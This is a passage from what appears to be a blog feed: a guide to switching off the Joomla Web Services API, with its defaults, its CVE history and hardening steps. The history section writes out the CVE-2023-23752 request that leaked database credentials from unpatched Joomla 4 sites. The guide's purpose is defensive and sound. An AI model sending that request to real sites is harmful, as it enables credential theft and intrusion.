&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/updates/53-54/known-issues/5.4.9/&quot;&gt;Joomla 5.4.9 Known Issues&lt;/a&gt; - the API edit regression and its one-line workaround.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/joomla-6-1-4-5-4-9-security-bugfix-release.html&quot;&gt;Joomla 6.1.4 and 5.4.9 Security and Bugfix Release&lt;/a&gt; - the joomla.org announcement, with the full list of bug fixes.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre.html&quot;&gt;Joomla Security Centre&lt;/a&gt; - all sixteen advisories, with version ranges and credits.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/releases/tag/5.4.9&quot;&gt;GitHub release notes for 5.4.9&lt;/a&gt; and &lt;a href=&quot;https://github.com/joomla/joomla-cms/releases/tag/6.1.4&quot;&gt;6.1.4&lt;/a&gt; - packages, checksums and the upgrade-path notes.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/compare/5.4.8...5.4.9&quot;&gt;5.4.8 to 5.4.9&lt;/a&gt; and &lt;a href=&quot;https://github.com/joomla/joomla-cms/compare/6.1.3...6.1.4&quot;&gt;6.1.3 to 6.1.4&lt;/a&gt; - every changed file in each release.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To see which of your Joomla sites are still behind 5.4.9 or 6.1.4, run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt;. No credit card needed.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>joomla 3</category><category>joomla security</category><category>vulnerability</category><category>updates</category><category>upgrade</category><enclosure url="https://mysites.guru/img/og/blog/joomla-5-4-9-and-6-1-4-security-release.png" length="0" type="image/png"/></item><item><title>How to Disable the Joomla API (and What Breaks When You Do)</title><link>https://mysites.guru/blog/how-to-disable-the-joomla-api-webservices/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-disable-the-joomla-api-webservices/</guid><description>Most Joomla sites never make an API call, yet /api/ answers on every one. Switch off Web Services, keep automated updates, and block it at the edge.</description><pubDate>Tue, 29 Sep 2026 12:45:05 GMT</pubDate><content:encoded>&lt;p&gt;Every Joomla site since 4.0 ships with a second application sitting beside the website and the administrator: the Joomla API, which Joomla’s own screens call &lt;strong&gt;Web Services&lt;/strong&gt;. It lives at &lt;code&gt;/api/&lt;/code&gt;, it is switched on by default, and on a fresh Joomla 6.1 install it is eighteen enabled plugins exposing articles, users, configuration, extensions, media and more to anyone who can authenticate. Most Joomla sites have no use for it at all, and still take on the security risk of an interface their owners never asked for.&lt;/p&gt;
&lt;p&gt;This guide covers switching the Joomla API off completely, step by step with screenshots from a Joomla 6.1.3 site, and then the harder part: what stops working when you do. The biggest casualty is Joomla’s own &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;Automated Core Updates&lt;/a&gt;, which since 5.4 depend on the API to work at all. After that come the nuclear option of deleting the &lt;code&gt;api&lt;/code&gt; folder, and the &lt;code&gt;.htaccess&lt;/code&gt;, nginx and Cloudflare rules that block &lt;code&gt;/api/&lt;/code&gt; before PHP ever sees the request.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Disabling the API stops Joomla automated core updates&lt;/p&gt;&lt;div&gt;&lt;p&gt;Automated Core Updates are a free service the Joomla project runs for sites on Joomla 5.4 and later: Joomla’s update server calls back to your site on &lt;code&gt;/api/index.php/v1/joomlaupdate/&lt;/code&gt; and installs new core releases without anyone logging in. Disabling the Web Services - Joomlaupdate plugin, blocking &lt;code&gt;/api/&lt;/code&gt; or deleting the &lt;code&gt;api&lt;/code&gt; folder all stop that service. Two things are not affected and should not be confused with it: updating Joomla yourself from System, then Joomla under Update in the administrator, and core updates you run from mySites.guru. Neither uses the Joomla API. If you rely on the Joomla project’s service, keep that one plugin and path open, as described below.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What the Joomla API is, and when it arrived&lt;/h2&gt;
&lt;p&gt;The Joomla API is a separate entry point, &lt;code&gt;api/index.php&lt;/code&gt;, that answers requests with JSON:API documents instead of HTML pages. It has no routes of its own. Each route comes from a plugin in the &lt;code&gt;webservices&lt;/code&gt; group, so &lt;strong&gt;Web Services - Content&lt;/strong&gt; registers the article endpoints, &lt;strong&gt;Web Services - Users&lt;/strong&gt; registers the user endpoints, and so on. Requests authenticate through a second plugin group, &lt;code&gt;api-authentication&lt;/code&gt;, and a user can only log in through it if their group holds the &lt;strong&gt;Web Services Login&lt;/strong&gt; permission (&lt;code&gt;core.login.api&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;It was built for Joomla 4. George Wilson’s &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/23424&quot;&gt;pull request #23424&lt;/a&gt; merged the first version into the 4.0 branch on 7 March 2019, building on &lt;a href=&quot;https://github.com/joomla-projects/gsoc19_webservices&quot;&gt;Google Summer of Code webservices work&lt;/a&gt;. Token authentication followed in &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/27021&quot;&gt;pull request #27021&lt;/a&gt; in March 2020, and Joomla 4.0.0 &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5846-joomla-4-0-and-joomla-3-10-are-here.html&quot;&gt;shipped on 17 August 2021&lt;/a&gt; with sixteen webservices plugins, all enabled.&lt;/p&gt;
&lt;p&gt;The plugin count has grown since. Joomla 4.1 added &lt;strong&gt;Web Services - Media&lt;/strong&gt;, and Joomla 5.4 added &lt;strong&gt;Web Services - Joomlaupdate&lt;/strong&gt; for automated updates, which is how a Joomla 6.1 site ends up with eighteen. Plugins added by a core update are installed enabled, and that includes sites where the owner had already switched every other webservices plugin off. The 5.4 update SQL inserted the Joomlaupdate plugin with &lt;code&gt;enabled = 1&lt;/code&gt; regardless, so a site that was fully locked down on 5.3 came out of the 5.4 update with its API partly back on.&lt;/p&gt;
&lt;p&gt;Default states on a fresh Joomla 6.1 install, taken from Joomla’s installation SQL:&lt;/p&gt;
&lt;dl&gt;&lt;div&gt;&lt;dt&gt;18 x Web Services plugins&lt;/dt&gt;&lt;dd&gt;Enabled. Banners, Config, Contact, Content, Installer, Joomlaupdate, Languages, Media, Menus, Messages, Modules, Newsfeeds, Plugins, Privacy, Redirect, Tags, Templates and Users. They are locked core extensions, so they can be disabled but not uninstalled.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;API Authentication - Web Services Joomla Token&lt;/dt&gt;&lt;dd&gt;Enabled. Lets a request log in with an X-Joomla-Token header.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;API Authentication - Web Services Basic Auth&lt;/dt&gt;&lt;dd&gt;Disabled. Would let a request log in with a username and password.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;User - Joomla API Token&lt;/dt&gt;&lt;dd&gt;Enabled. Adds the Joomla API Token tab to user profiles, where tokens are created. Super Users only by default.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Web Services Login permission&lt;/dt&gt;&lt;dd&gt;Granted to Super Users only in the root permissions.&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;
&lt;p&gt;There is no master switch. The Web Services section of Global Configuration holds only CORS settings, and nothing in &lt;code&gt;ApiApplication&lt;/code&gt; checks a global on/off flag. Switching the API off means switching off its plugins.&lt;/p&gt;
&lt;h2&gt;The Joomla API’s security record so far&lt;/h2&gt;
&lt;p&gt;For its first eighteen months the Joomla API was quiet. Then came &lt;a href=&quot;https://developer.joomla.org/security-centre/894-20230201-core-improper-access-check-in-webservice-endpoints.html&quot;&gt;CVE-2023-23752&lt;/a&gt;, fixed in Joomla 4.2.8 on 16 February 2023. The API router merged the request’s query string into the route’s own settings, so adding &lt;code&gt;?public=true&lt;/code&gt; to a request told Joomla the route needed no login. &lt;code&gt;/api/index.php/v1/config/application?public=true&lt;/code&gt; returned the site’s configuration, including the database username and password in plain text, and the users endpoint returned every username and email address. Every Joomla 4 site from 4.0.0 to 4.2.7 was affected.&lt;/p&gt;
&lt;p&gt;It was exploited in the wild within weeks. &lt;a href=&quot;https://www.vulncheck.com/blog/joomla-for-rce&quot;&gt;VulnCheck showed&lt;/a&gt; how the leaked credentials turned into code execution, &lt;a href=&quot;https://www.rapid7.com/blog/post/2023/04/28/metasploit-weekly-wrap-up-8/&quot;&gt;Rapid7 shipped a Metasploit module&lt;/a&gt; in April 2023, and CISA added the CVE to its Known Exploited Vulnerabilities catalogue on 8 January 2024. Anyone who had switched off the Web Services plugins was safe, because a disabled plugin has no route to attack.&lt;/p&gt;
&lt;p&gt;After that the API was quiet again until 2026, when the Joomla Security Strike Team published thirteen more advisories for core webservice endpoints between March and September:&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;div&gt;Joomla core API advisories&lt;/div&gt;&lt;div&gt;Since the API shipped in August 2021&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;div&gt;Of them published in 2026&lt;/div&gt;&lt;div&gt;Across five releases, March to September&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;0&lt;/div&gt;&lt;div&gt;Fixed for Joomla 4&lt;/div&gt;&lt;div&gt;Every 2026 advisory lists Joomla 4 as affected&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Counted from the Joomla Security Centre. Joomla 4 reached end of life on 14 October 2025.&lt;/p&gt;&lt;/div&gt;











































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;CVE&lt;/th&gt;&lt;th&gt;What was wrong&lt;/th&gt;&lt;th&gt;Fixed in&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1028-20260302-core-sql-injection-in-com-content-articles-webservice-endpoint.html&quot;&gt;CVE-2026-21630&lt;/a&gt;&lt;/td&gt;&lt;td&gt;SQL injection in the articles endpoint’s ordering&lt;/td&gt;&lt;td&gt;5.4.4 / 6.0.4&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1032-20260306-core-improper-access-check-in-webservice-endpoints.html&quot;&gt;CVE-2026-23899&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Improper access check in webservice endpoints&lt;/td&gt;&lt;td&gt;5.4.4 / 6.0.4&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1040-20260508-core-improper-access-check-in-com-config-webservice-endpoints.html&quot;&gt;CVE-2026-35223&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Improper access check in the com_config endpoints&lt;/td&gt;&lt;td&gt;5.4.6 / 6.1.1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1042-20260510-core-path-traversal-in-com-media-webservice-endpoint.html&quot;&gt;CVE-2026-40384&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Path traversal in the com_media endpoint&lt;/td&gt;&lt;td&gt;5.4.6 / 6.1.1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1046-20260514-core-privilege-escalation-through-com-users-webservice-endpoints.html&quot;&gt;CVE-2026-48904&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Privilege escalation through the com_users endpoints&lt;/td&gt;&lt;td&gt;5.4.6 / 6.1.1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1055-20260701-core-incorrect-access-control-in-com-media-webservice-endpoints.html&quot;&gt;CVE-2026-48947&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Media files overwritten without edit permission&lt;/td&gt;&lt;td&gt;5.4.7 / 6.1.2&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1065-20260711-core-incorrect-access-control-in-com-privacy-webservice-endpoints.html&quot;&gt;CVE-2026-48957&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Incorrect access control in the com_privacy endpoints&lt;/td&gt;&lt;td&gt;5.4.7 / 6.1.2&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1066-20260712-core-incorrect-access-control-in-com-fields-webservice-endpoints.html&quot;&gt;CVE-2026-48958&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Custom fields created without permission&lt;/td&gt;&lt;td&gt;5.4.7 / 6.1.2&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1070-20260803-core-inconsistent-acl-checks-for-mutating-webservice-endpoints.html&quot;&gt;CVE-2026-71574&lt;/a&gt;&lt;/td&gt;&lt;td&gt;The API allowed changes the administrator screens block&lt;/td&gt;&lt;td&gt;5.4.8 / 6.1.3&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1071-20260804-core-improper-acl-checks-for-custom-fields-webservice-endpoints.html&quot;&gt;CVE-2026-72531&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Fields reachable for components the user cannot access&lt;/td&gt;&lt;td&gt;5.4.8 / 6.1.3&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1072-20260805-core-improper-acl-checks-for-category-webservice-endpoints.html&quot;&gt;CVE-2026-72532&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Categories reachable for components the user cannot access&lt;/td&gt;&lt;td&gt;5.4.8 / 6.1.3&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1083-20260903-core-improper-acl-checks-for-user-level-webservice-endpoints.html&quot;&gt;CVE-2026-90913&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Access level changes through the API by users below Super User&lt;/td&gt;&lt;td&gt;5.4.9 / 6.1.4&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1093-20260913-core-improper-acl-checks-for-varous-webservice-edit-tasks.html&quot;&gt;CVE-2026-92226&lt;/a&gt;&lt;/td&gt;&lt;td&gt;API edit tasks ignoring item permissions&lt;/td&gt;&lt;td&gt;5.4.9 / 6.1.4&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Most of these are permission checks that were missing or weaker than the matching check in the administrator, which is the pattern to expect from a second front door written years after the first. The API reimplements access control for every component it exposes, and each reimplementation is a fresh chance to get it wrong. The two newest are covered in &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-9-and-6-1-4-security-release/&quot;&gt;the Joomla 5.4.9 and 6.1.4 security release&lt;/a&gt;, and we cover a few of the older ones individually in &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-6-and-6-1-1-patch-ten-security-issues/&quot;&gt;the Joomla 5.4.6 and 6.1.1 security release&lt;/a&gt; and in &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;our look at AJAX and API endpoints as a CMS blind spot&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For a site owner, a site with its webservices plugins disabled was not reachable through any of these fourteen, because a disabled plugin registers no route and the request stops with a 404 before any component code runs. A Joomla 4 site will not receive fixes for the thirteen 2026 flaws, so for the Joomla 4 sites still out there, switching the API off is the only mitigation available short of upgrading off an end-of-life version.&lt;/p&gt;
&lt;div&gt;&lt;span&gt;Not yet public.&lt;/span&gt;&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Does your Joomla site actually use the API?&lt;/h2&gt;
&lt;p&gt;Almost certainly not. The Joomla API is used by software outside the site, never by the site itself: the administrator, the frontend, the media manager and the Joomla Update screen do not make a single call to &lt;code&gt;/api/&lt;/code&gt;. Unless something external was set up on purpose to talk to the site with an API token, the API sits unused, as it does on most brochure sites, club sites and small shops.&lt;/p&gt;
&lt;p&gt;The extension ecosystem has been slow to build on it. Five years after Joomla 4.0, the one major vendor we know of that depends on the core API is Akeeba:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Akeeba Backup’s &lt;a href=&quot;https://www.akeeba.com/news/1790-deprecation-of-the-akeeba-backup-json-api-v2.html&quot;&gt;JSON API v3&lt;/a&gt; authenticates with a Joomla API token. Akeeba deprecated the older v2 API and its Secret Word authentication on 26 August 2026 and plans to remove both in Akeeba Backup 11 in October 2027, so remote backup tools that talk to Akeeba Backup will move onto the Joomla API over the next year.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/akeeba/panopticon/wiki/Preparing-Joomla-sites&quot;&gt;Akeeba Panopticon&lt;/a&gt;, the self-hosted site monitor, connects through the Joomla API with a Super User’s token and needs the Web Services - Installer plugin, the token plugins and its own connector plugin enabled.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Beyond Akeeba, a search of public code turns up a handful of extensions shipping their own webservices plugin, among them JoomGallery 4, Phoca Cart, J2Commerce and BwPostman, plus custom work: a mobile app, a headless frontend, or an agency’s integration with a CRM. If you did not build or buy one of those, you do not need the API.&lt;/p&gt;
&lt;p&gt;mySites.guru is not on the list. The mySites.guru connector does not use the Joomla API, so everything in this guide can be applied to a connected site without affecting audits, snapshots, backups or updates.&lt;/p&gt;
&lt;h2&gt;What stops working when you disable the Joomla API?&lt;/h2&gt;
&lt;p&gt;The site keeps working. Pages render, users log in, editors edit and the administrator behaves as before, because none of it goes near &lt;code&gt;/api/&lt;/code&gt;. Four things do stop:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Automated Core Updates on Joomla 5.4 and later. When they are on, your site registers with &lt;code&gt;autoupdate.joomla.org&lt;/code&gt;, and Joomla’s update server then calls back into six routes under &lt;code&gt;/api/index.php/v1/joomlaupdate/&lt;/code&gt; to check health, prepare, run and finish an update. Those routes are registered by the Web Services - Joomlaupdate plugin and authenticated by an &lt;code&gt;X-JUpdate-Token&lt;/code&gt; header rather than a user login. New 5.4 and 6.x installs have Automated Update switched on; sites upgraded from earlier versions have it off.&lt;/li&gt;
&lt;li&gt;Akeeba Backup’s JSON API v3 and Akeeba Panopticon, which both need the API, and Panopticon needs specific plugins enabled. Backups you run through mySites.guru are not on this list: mySites.guru works with every version of Akeeba’s JSON API, so switching the Joomla API off does not break mySites.guru’s backups through Akeeba Backup. Other services that use Akeeba’s JSON API lose that option when Akeeba Backup 11 removes the older API, &lt;a href=&quot;#what-changes-when-akeeba-backup-drops-its-old-json-api&quot;&gt;as explained below&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Any extension that ships its own webservices plugin, if you rely on its remote features.&lt;/li&gt;
&lt;li&gt;Anything custom that holds an API token for the site.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The manual update in the administrator (System, then Joomla under Update) is not affected by any of this. It runs in the administrator and does not touch the API.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Keeping automated updates while switching everything else off&lt;/p&gt;&lt;div&gt;&lt;p&gt;The Joomlaupdate routes are declared public and check their own update token, so they do not need the token authentication plugin or any user’s Web Services Login permission. You can disable the other seventeen core webservices plugins and both API authentication plugins, leave &lt;strong&gt;Web Services - Joomlaupdate&lt;/strong&gt; enabled, and automated updates keep working. Every other endpoint answers 404. The firewall rules later in this guide include the matching exception.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;If you decide automated updates are not wanted anyway, &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;our guide to disabling Joomla automated upgrades&lt;/a&gt; explains the reasons agencies usually give, and how mySites.guru switches the setting off across every connected site.&lt;/p&gt;
&lt;h2&gt;What changes when Akeeba Backup drops its old JSON API?&lt;/h2&gt;
&lt;p&gt;Today you can switch the Joomla API off completely and still let outside services drive Akeeba Backup, because Akeeba’s older JSON API v2 and its Secret Word authentication work without Joomla’s API layer. That window is closing. Akeeba &lt;a href=&quot;https://www.akeeba.com/news/1790-deprecation-of-the-akeeba-backup-json-api-v2.html&quot;&gt;deprecated both on 26 August 2026&lt;/a&gt; and plans to remove them in Akeeba Backup 11, scheduled for October 2027. From that release on, the only way for a third party to talk to Akeeba Backup is JSON API v3, and v3 runs through the Joomla API with a Joomla API token.&lt;/p&gt;
&lt;p&gt;For a site that uses Akeeba Backup with an outside service that relies on Akeeba’s JSON API, such as a remote backup tool or Akeeba Panopticon, switching the Joomla API off completely will stop being an option once that site is on Akeeba Backup 11. The narrower lockdown in this guide still applies: keep &lt;strong&gt;Web Services - Akeeba Backup&lt;/strong&gt;, the token authentication plugin and the account that holds the token, disable every other webservices plugin, and restrict &lt;code&gt;/api/&lt;/code&gt; at the edge to the addresses of the service that needs it.&lt;/p&gt;
&lt;p&gt;mySites.guru works with every version of Akeeba’s JSON API, so nothing changes for mySites.guru backups today. We have also built a new connection layer that lets mySites.guru reach Akeeba Backup without going through Joomla’s API at all, so mySites.guru customers can keep the Joomla API switched off after Akeeba Backup 11 as well.&lt;/p&gt;
&lt;h2&gt;How to disable the Joomla API step by step&lt;/h2&gt;
&lt;p&gt;These steps are the same on Joomla 4, 5 and 6. The screenshots are from a Joomla 6.1.3 test site that also has Akeeba Backup installed, which is why a nineteenth webservices plugin appears in the list.&lt;/p&gt;
&lt;h3&gt;1. Disable every Web Services plugin&lt;/h3&gt;
&lt;p&gt;Log in to the administrator and go to &lt;strong&gt;System&lt;/strong&gt;, then &lt;strong&gt;Plugins&lt;/strong&gt; under Manage. Click &lt;strong&gt;Filter Options&lt;/strong&gt; and set the type filter (the second dropdown) to &lt;code&gt;webservices&lt;/code&gt;. Set the list limit to 50 or All so nothing is hidden on a second page, tick the select-all box in the table header, and click &lt;strong&gt;Disable&lt;/strong&gt; in the toolbar.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/how-to-disable-the-joomla-api-webservices-select-webservices.BhFcx5E3_Z1paqrP.webp&quot; alt=&quot;Joomla 6.1.3 plugin manager filtered to the webservices type, showing 19 Web Services plugins including Joomlaupdate and a third-party Akeeba Backup plugin, all enabled with green ticks and all selected ready for the Disable button&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;1954&quot; /&gt;&lt;/div&gt;&lt;/figure&gt;
&lt;p&gt;Read the confirmation message before moving on. It should say the same number of plugins as the list shows. Joomla skips any plugin that another user has checked out, so on our test site the first attempt reported “18 plugins disabled” out of 19 and left the Akeeba Backup plugin running, with only a small padlock beside its name to explain why. Check it in (System, then Global Check-in) and disable it again.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/how-to-disable-the-joomla-api-webservices-webservices-disabled.BRXc2HgU_Zxqo4f.webp&quot; alt=&quot;The same Joomla plugin list after disabling, with the message 19 plugins disabled and every Web Services plugin showing a grey cross for disabled&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;2040&quot; /&gt;&lt;/div&gt;&lt;/figure&gt;
&lt;p&gt;This is the step that matters most. With the webservices plugins disabled, the API registers no routes, and every request to &lt;code&gt;/api/&lt;/code&gt; stops at the router with &lt;code&gt;404 Resource not found&lt;/code&gt; before any component code runs. It covers third-party webservices plugins too, including ones that register public routes and handle their own authentication (Akeeba’s does, so it can accept its Secret Word).&lt;/p&gt;
&lt;p&gt;If you want to keep automated updates, re-enable &lt;strong&gt;Web Services - Joomlaupdate&lt;/strong&gt; alone after this step.&lt;/p&gt;
&lt;h3&gt;2. Disable the API authentication plugins&lt;/h3&gt;
&lt;p&gt;Clear the type filter and search the plugin list for &lt;code&gt;API Token&lt;/code&gt;. Disable both results: &lt;strong&gt;API Authentication - Web Services Joomla Token&lt;/strong&gt;, which accepts tokens on API requests, and &lt;strong&gt;User - Joomla API Token&lt;/strong&gt;, which adds the token tab to user profiles. Then filter by the &lt;code&gt;api-authentication&lt;/code&gt; type and confirm &lt;strong&gt;API Authentication - Web Services Basic Auth&lt;/strong&gt; is disabled, as it is by default.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/how-to-disable-the-joomla-api-webservices-token-plugins.CWsfEiqy_Z2u6E0D.webp&quot; alt=&quot;Joomla plugin manager searched for API Token, showing API Authentication - Web Services Joomla Token and User - Joomla API Token, both still enabled&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;755&quot; /&gt;&lt;/div&gt;&lt;/figure&gt;
&lt;p&gt;With step 1 done this is belt and braces, but it means any API token that has ever been issued on the site stops working immediately. That matters if a plugin is re-enabled later by a person, an extension installer or a core update.&lt;/p&gt;
&lt;h3&gt;3. Turn off Automated Update&lt;/h3&gt;
&lt;p&gt;Go to &lt;strong&gt;System&lt;/strong&gt;, then &lt;strong&gt;Joomla&lt;/strong&gt; under Update, click &lt;strong&gt;Options&lt;/strong&gt;, open the &lt;strong&gt;Automated Updates&lt;/strong&gt; tab and set &lt;strong&gt;Automated Update&lt;/strong&gt; to No. On a site where it was on, this is the right setting once the API is off: the feature cannot reach the site any more, so core updates are now your job, and the setting should say so. Skip this step if you kept the Joomlaupdate plugin enabled.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/how-to-disable-the-joomla-api-webservices-automated-update.Dw7RM7uy_U5NpK.webp&quot; alt=&quot;Joomla Update Options with the Automated Updates tab open, showing the notice that automated updates register the site with the Joomla project and the Automated Update switch set to No&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;862&quot; /&gt;&lt;/div&gt;&lt;/figure&gt;
&lt;h3&gt;4. Check the Web Services Login permission&lt;/h3&gt;
&lt;p&gt;Go to &lt;strong&gt;System&lt;/strong&gt;, then &lt;strong&gt;Global Configuration&lt;/strong&gt;, and open the &lt;strong&gt;Permissions&lt;/strong&gt; tab. Work through each group and make sure &lt;strong&gt;Web Services Login&lt;/strong&gt; is not Allowed for anything other than Super Users. Joomla only grants it to Super Users by default, but tutorials for setting up integration accounts tell people to grant it to other groups, and it tends to stay granted after the integration is gone.&lt;/p&gt;
&lt;h3&gt;5. Test it from outside&lt;/h3&gt;
&lt;p&gt;Request an endpoint from a machine that is not logged in to the site:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;curl&lt;/span&gt;&lt;span&gt; -s&lt;/span&gt;&lt;span&gt; -H&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;Accept: application/vnd.api+json&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; https://example.com/api/index.php/v1/content/articles&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A site with the API switched off answers with a 404:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;errors&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;[{&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;title&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;Resource not found&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;code&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;404&lt;/span&gt;&lt;span&gt;}]}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A site with the API still on answers 401 with &lt;code&gt;{&quot;errors&quot;:[{&quot;title&quot;:&quot;Forbidden&quot;}]}&lt;/code&gt;, meaning the route exists and wants a login. A 401 is not a pass.&lt;/p&gt;
&lt;h3&gt;6. Re-check after every Joomla update&lt;/h3&gt;
&lt;p&gt;Core updates can add webservices plugins, and new ones are installed enabled. Joomla 4.1 did it with Media, and Joomla 5.4 did it with Joomlaupdate, reopening part of the API on sites that had closed it, with no notice. Filter the plugin list by &lt;code&gt;webservices&lt;/code&gt; after each update and disable anything new, or put one of the edge rules below in front of the site so a returning plugin cannot be reached anyway.&lt;/p&gt;
&lt;h2&gt;Deleting the Joomla api folder: the nuclear option&lt;/h2&gt;
&lt;p&gt;The blunt alternative is to delete the &lt;code&gt;api&lt;/code&gt; folder from the site root. With it gone there is no &lt;code&gt;api/index.php&lt;/code&gt; to run, and requests to &lt;code&gt;/api/&lt;/code&gt; fail with a not-found response from the web server. It feels decisive, and for a site that must be closed right now and has no one available to work through the plugin list, it is a reasonable emergency measure. It has four problems as a long-term fix:&lt;/p&gt;
&lt;ul&gt;
